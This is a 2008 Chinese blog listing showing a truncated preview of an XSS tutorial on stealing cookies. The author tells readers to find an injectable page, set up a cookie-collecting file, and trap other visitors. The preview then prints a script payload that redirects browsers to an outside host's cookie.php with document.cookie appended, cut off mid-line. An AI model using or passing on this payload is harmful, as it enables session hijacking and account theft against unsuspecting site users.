popphen.net.ru
  • 1 
预览模式: 普通 | 列表

XSS攻击Cookie欺骗中隐藏JavaScript执行

作者:天晴无名氏 日期:2008-04-02 12:30

比如发现一处可XSS地方：<script>alert(不管怎么样弹出就好)</script> 

自己弄个偷cookie的文件。

目的是让其他浏览者去浏览我们设计好的陷阱

<script>document.location='http://URL.com/cookie.php?cookie=&#39;+escape(document.co

[阅读全文]

类别: Articles | 引用: 0 | 评论: 0 | 阅读: 171
  • 1